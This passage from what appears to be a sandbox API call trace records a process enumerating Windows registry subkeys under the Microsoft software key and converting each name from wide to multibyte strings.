lpMultiByteStr=0x30c0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sync framework", lpUsedDefaultChar=0x0) returned 14 [0035.309] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6a, lpName=0x30b930, cchName=0x104 | out: lpName="Sysprep") returned 0x0 [0035.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sysprep", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0035.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sysprep", cchWideChar=7, lpMultiByteStr=0x30c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sysprep", lpUsedDefaultChar=0x0) returned 7 [0035.309] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6b, lpName=0x30b930, cchName=0x104 | out: lpName="SystemCertificates") returned 0x0 [0035.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="systemcertificates", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0035.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="systemcertificates", cchWideChar=18, lpMultiByteStr=0x30c0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="systemcertificates", lpUsedDefaultChar=0x0) returned 18 [0035.309] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6c, lpName=0x30b930, cchName=0x104 | out: lpName="TableTextService") returned 0x0 [0035.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tabletextservice", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0035.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tabletextservice", cchWideChar=16, lpMultiByteStr=0x30c120, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tabletextservice", lpUsedDefaultChar=0x0) returned 16 [0035.309] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6d, lpName=0x30b930, cchName=0x104 | out: lpName="TabletTip") returned 0x0 [0035.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tablettip", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0035.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tablettip", cchWideChar=9, lpMultiByteStr=0x30c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tablettip", lpUsedDefaultChar=0x0) returned 9 [0035.309] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6e, lpName=0x30b930, cchName=0x104 | out: lpName="Tcpip") returned 0x0 [0035.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tcpip", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0035.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tcpip", cchWideChar=5, lpMultiByteStr=0x30c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tcpip", lpUsedDefaultChar=0x0) returned 5 [0035.309] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6f, lpName=0x30b930, cchName=0x104 | out: lpName="Terminal Server Client") returned 0x0 [0035.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="terminal server client", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0035.310] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="terminal server client", cchWideChar=22, lpMultiByteStr=0x30c0d8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="terminal server client", lpUsedDefaultChar=0x0) returned 22 [0035.310] RegEnumKeyW (in: hKey=0x24, dwIndex=0x70, lpName=0x30b930, cchName=0x104 | out: lpName="TermServLicensing") returned 0x0 [0035.310] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="termservlicensing", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0035.310] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="termservlicensing", cchWideChar=17, lpMultiByteStr=0x30c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="termservlicensing", lpUsedDefaultChar=0x0) returned 17 [0035.310] RegEnumKeyW (in: hKey=0x24, dwIndex=0x71, lpName=0x30b930, cchName=0x104 | out: lpName="TIP Shared") returned 0x0 [0035.310] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tip shared", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0035.310] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tip shared", cchWideChar=10, lpMultiByteStr=0x30c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tip shared", lpUsedDefaultChar=0x0) returned 10 [0035.310] RegEnumKeyW (in: hKey=0x24, dwIndex=0x72, lpName=0x30b930, cchName=0x104 | out: lpName="TPG") returned 0x0 [0035.310] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0035.310] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpg", cchWideChar=3, lpMultiByteStr=0x30c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tpg", lpUsedDefaultChar=0x0) returned 3 [0035.310] RegEnumKeyW (in: hKey=0x24, dwIndex=0x73, lpName=0x30b930, cchName=0x104 | out: lpName="Tpm") returned 0x0 [0035.310] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpm", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0035.310] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpm", cchWideChar=3, lpMultiByteStr=0x30c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tpm", lpUsedDefaultChar=0x0) returned 3 [0035.310] RegEnumKeyW (in: hKey=0x24, dwIndex=0x74, lpName=0x30b930, cchName=0x104 | out: lpName="Tracing") returned 0x0 [0035.310] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tracing", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0035.310] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tracing", cchWideChar=7, lpMultiByteStr=0x30c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tracing", lpUsedDefaultChar=0x0) returned 7 [0035.310] RegEnumKeyW (in: hKey=0x24, dwIndex=0x75, lpName=0x30b930, cchName=0x104 | out: lpName="Transaction Server") returned 0x0 [0035.310] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="transaction server", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0035.310] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="transaction server", cchWideChar=18, lpMultiByteStr=0x30c0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="transaction server", lpUsedDefaultChar=0x0) returned 18 [0035.310] RegEnumKeyW (in: hKey=0x24, dwIndex=0x76, lpName=0x30b930, cchName=0x104 | out: lpName="TV System Services") returned 0x0 [0035.310] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tv system services", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0035.310] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tv system services", cchWideChar=18, lpMultiByteStr=0x30c120, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tv system services", lpUsedDefaultChar=0x0) returned 18 [0035.311] RegEnumKeyW (in: hKey=0x24, dwIndex=0x77, lpName=0x30b930, cchName=0x104 | out: lpName="uDRM") returned 0x0 [0035.311] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="udrm", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0035.311] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="udrm", cchWideChar=4, lpMultiByteStr=0x30c0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="udrm", lpUsedDefaultChar=0x0) returned 4 [0035.311] RegEnumKeyW (in: hKey=0x24, dwIndex=0x78, lpName=0x30b930, cchName=0x104 | out: lpName="Updates") returned 0x0 [0035.311] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="updates", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0035.311] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="updates", cchWideChar=7, lpMultiByteStr=0x30c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updates", lpUsedDefaultChar=0x0) returned 7 [0035.311] RegEnumKeyW (in: hKey=0x24, dwIndex=0x79, lpName=0x30b930, cchName=0x104 | out: lpName="UPnP Device Host") returned 0x0 [0035.311] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="upnp device host", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0035.311] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="upnp device host", cchWideChar=16, lpMultiByteStr=0x30c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="upnp device host", lpUsedDefaultChar=0x0) returned 16 [0035.311] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7a, lpName=0x30b930, cchName=0x104 | out: lpName="VBA") returned 0x0 [0035.311] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vba", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0035.311] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vba", cchWideChar=3, lpMultiByteStr=0x30c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vba", lpUsedDefaultChar=0x0) returned 3 [0035.311] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7b, lpName=0x30b930, cchName=0x104 | out: lpName="Virtual Machine") returned 0x0 [0035.311] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="virtual machine", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0035.311] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="virtual machine", cchWideChar=15, lpMultiByteStr=0x30c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="virtual machine", lpUsedDefaultChar=0x0) returned 15 [0035.311] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7c, lpName=0x30b930, cchName=0x104 | out: lpName="VisualStudio") returned 0x0 [0035.311] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="visualstudio", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0035.311] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="visualstudio", cchWideChar=12, lpMultiByteStr=0x30c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="visualstudio", lpUsedDefaultChar=0x0) returned 12 [0035.311] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7d, lpName=0x30b930, cchName=0x104 | out: lpName="WAB") returned 0x0 [0035.311] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wab", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0035.312] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wab", cchWideChar=3, lpMultiByteStr=0x30c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wab", lpUsedDefaultChar=0x0) returned 3 [0035.312] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7e, lpName=0x30b930, cchName=0x104 | out: lpName="WBEM") returned 0x0 [0035.312] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbem", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0035.312] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbem", cchWideChar=4, lpMultiByteStr=0x30c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wbem", lpUsedDefaultChar=0x0) returned 4 [0035.312] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7f, lpName=0x30b930, cchName=0x104 | out: lpName="WIMMount") returned 0x0 [0035.312] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wimmount", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0035.312] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wimmount", cchWideChar=8, lpMultiByteStr=0x30c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wimmount", lpUsedDefaultChar=0x0) returned 8 [0035.312] RegEnumKeyW (in: hKey=0x24, dwIndex=0x80, lpName=0x30b930, cchName=0x104 | out: lpName="Windows") returned 0x0 [0035.312] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0035.312] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x30c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows", lpUsedDefaultChar=0x0) returned 7 [0035.312] RegOpenKeyExW (in: hKey=0x24, lpSubKey="Windows", ulOptions=0x0, samDesired=0x20109, phkResult=0x26f79c | out: phkResult=0x26f79c*=0xa0) returned 0x0 [0035.312] RegCloseKey (hKey=0x24) returned 0x0 [0035.312] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x0, lpName=0x30b930, cchName=0x104 | out: lpName="CurrentVersion") returned 0x0 [0035.312] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentversion", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0035.312] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentversion", cchWideChar=14, lpMultiByteStr=0x30c0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentversion", lpUsedDefaultChar=0x0) returned 14 [0035.312] RegOpenKeyExW (in: hKey=0xa0, lpSubKey="CurrentVersion", ulOptions=0x0, samDesired=0x20109, phkResult=0x26f79c | out: phkResult=0x26f79c*=0x24) returned 0x0 [0035.312] RegCloseKey (hKey=0xa0) returned 0x0 [0035.312] RegEnumKeyW (in: hKey=0x24, dwIndex=0x0, lpName=0x30b930, cchName=0x104 | out: lpName="App Management") returned 0x0 [0035.312] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app management", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0035.313] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app management", cchWideChar=14, lpMultiByteStr=0x30c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="app management", lpUsedDefaultChar=0x0) returned 14 [0035.313] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1, lpName=0x30b930, cchName=0x104 | out: lpName="App Paths") returned 0x0 [0035.313] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app paths", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0035.313] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app paths", cchWideChar=9, lpMultiByteStr=0x30c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="app paths", lpUsedDefaultChar=0x0) returned 9 [0035.313] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2, lpName=0x30b930, cchName=0x104 | out: lpName="Applets") returned 0x0 [0035.313] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applets", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0035.313] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applets", cchWideChar=7, lpMultiByteStr=0x30c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="applets", lpUsedDefaultChar=0x0) returned 7 [0035.313] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3, lpName=0x30b930, cchName=0x104 | out: lpName="Audio") returned 0x0 [0035.313] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audio", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0035.313] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audio", cchWideChar=5, lpMultiByteStr=0x30c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audio", lpUsedDefaultChar=0x0) returned 5 [0035.313] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4, lpName=0x30b930, cchName=0x104 | out: lpName="Authentication") returned 0x0 [0035.313] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="authentication", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0035.313] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="authentication", cchWideChar=14, lpMultiByteStr=0x30c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="authentication", lpUsedDefaultChar=0x0) returned 14 [0035.313] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5, lpName=0x30b930, cchName=0x104 | out: lpName="BitLocker") returned 0x0 [0035.313] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bitlocker", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0035.313] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bitlocker", cchWideChar=9, lpMultiByteStr=0x30c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bitlocker", lpUsedDefaultChar=0x0) returned 9 [0035.313] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6, lpName=0x30b930, cchName=0x104 | out: lpName="BITS") returned 0x0 [0035.313] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0035.313] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x30c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0035.313] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7, lpName=0x30b930, cchName=0x104 | out: lpName="Component Based Servicing") returned 0x0 [0035.313] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="component based servicing", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0035.313] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="component based servicing", cchWideChar=25, lpMultiByteStr=0x30c0d8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="component based servicing", lpUsedDefaultChar=0x0) returned 25 [0035.313] RegEnumKeyW (in: hKey=0x24, dwIndex=0x8, lpName=0x30b930, cchName=0x104 | out: lpName="Control Panel") returned 0x0 [0035.314] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0035.314] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0x30c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control panel", lpUsedDefaultChar=0x0) returned 13 [0035.314] RegEnumKeyW (in: hKey=0x24, dwIndex=0x9, lpName=0x30b930, cchName=0x104 | out: lpName="Controls Folder") returned 0x0 [0035.314] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controls folder", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0035.314] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controls folder", cchWideChar=15, lpMultiByteStr=0x30c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controls folder", lpUsedDefaultChar=0x0) returned 15 [0035.314] RegEnumKeyW (in: hKey=0x24, dwIndex=0xa, lpName=0x30b930, cchName=0x104 | out: lpName="DateTime") returned 0x0 [0035.314] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datetime", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0035.314] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datetime", cchWideChar=8, lpMultiByteStr=0x30c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="datetime", lpUsedDefaultChar=0x0) returned 8 [0035.314] RegEnumKeyW (in: hKey=0x24, dwIndex=0xb, lpName=0x30b930, cchName=0x104 | out: lpName="Device Installer") returned 0x0 [0035.314] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device installer", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0035.314] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device installer", cchWideChar=16, lpMultiByteStr=0x30c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device installer", lpUsedDefaultChar=0x0) returned 16 [0035.314] RegEnumKeyW (in: hKey=0x24, dwIndex=0xc, lpName=0x30b930, cchName=0x104 | out: lpName="Device Metadata") returned 0x0 [0035.314] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device metadata", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0035.314] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device metadata", cchWideChar=15, lpMultiByteStr=0x30c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device metadata", lpUsedDefaultChar=0x0) returned 15 [0035.314] RegEnumKeyW (in: hKey=0x24, dwIndex=0xd, lpName=0x30b930, cchName=0x104 | out: lpName="Diagnostics") returned 0x0 [0035.314] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagnostics", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0035.314] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagnostics", cchWideChar=11, lpMultiByteStr=0x30c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="diagnostics", lpUsedDefaultChar=0x0) returned 11 [0035.314] RegEnumKeyW (in: hKey=0x24, dwIndex=0xe, lpName=0x30b930, cchName=0x104 | out: lpName="DriverSearching") returned 0x0 [0035.314] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driversearching", cchWideChar=15, lpMultiByteStr=0x0, 